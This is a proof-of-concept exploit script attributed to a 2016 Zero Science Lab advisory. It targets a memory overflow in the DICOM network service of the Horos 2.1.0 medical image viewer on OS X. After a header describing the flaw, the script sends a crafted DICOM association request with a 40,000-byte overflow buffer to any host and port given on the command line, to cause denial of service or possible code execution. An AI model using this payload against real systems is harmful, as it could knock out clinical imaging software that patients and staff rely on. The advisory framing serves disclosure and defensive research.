Horos 2.1.0 DICOM Medical Image Viewer – Denial of Service

#!/usr/bin/env python

# -*- coding: utf8 -*-

# Horos 2.1.0 DICOM Medical Image Viewer Remote Memory Overflow Vulnerability

# Vendor: Horos Project

# Product web page: https://www.horosproject.org

# Affected version: 2.1.0

# Summary: Horos™ is an open-source, free medical image viewer. The goal of the Horos Project is

# to develop a fully functional, 64-bit medical image viewer for OS X. Horos is based upon OsiriX

# and other open source medical imaging libraries.

# Desc: The vulnerability is caused due to the usage of vulnerable collection of libraries that

# are part of DCMTK Toolkit, specifically the parser for the DICOM Upper Layer Protocol or DUL.

# Stack/Heap Buffer overflow/underflow can be triggered when sending and processing wrong length

# of ACSE data structure received over the network by the DICOM Store-SCP service. An attacker can

# overflow the stack and the heap of the process when sending large array of bytes to the presentation

# context item length segment of the DICOM standard, potentially resulting in remote code execution

# and/or denial of service scenario.

# Tested on: OS X 10.12.2 (Sierra)

#OS X 10.12.1 (Sierra)

# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic

# @zeroscience

# Advisory ID: ZSL-2016-5386

# Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5386.php

# 15.12.2016

import sys, socket

hello = ('\x01\x00\x00\x00\x80\x71\x00\x01\x00\x00\x4f\x52\x54\x48'

'\x41\x4e\x43\x20\x20\x20\x20\x20\x20\x20\x20\x20\x4a\x4f'

'\x58\x59\x50\x4f\x58\x59\x21\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00'

'\x00\x00\x00\x00\x10\x00\x00\x15\x31\x2e\x32\x2e\x38\x34'

'\x30\x2e\x31\x30\x30\x30\x38\x2e\x33\x2e\x31\x2e\x31\x2e'

'\x31\x20\x00\x80\x00')

buffer = '\x41\x42\x43\x44' * 10000

bye = ('\x50\x00\x00\x0c\x51\x00\x00\x04\x00\x00\x07\xde'

'\x52\x00\x00\x00')

if len(sys.argv) < 3:

print '\nUsage: ' +sys.argv[0]+ ' <target> <port>'

print 'Example: ' +sys.argv[0]+ ' 172.19.0.214 11112\n'

sys.exit(0)

host = sys.argv[1]

port = int(sys.argv[2])

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

connect = s.connect((host, port))

s.settimeout(251)

s.send(hello+buffer+bye)

s.close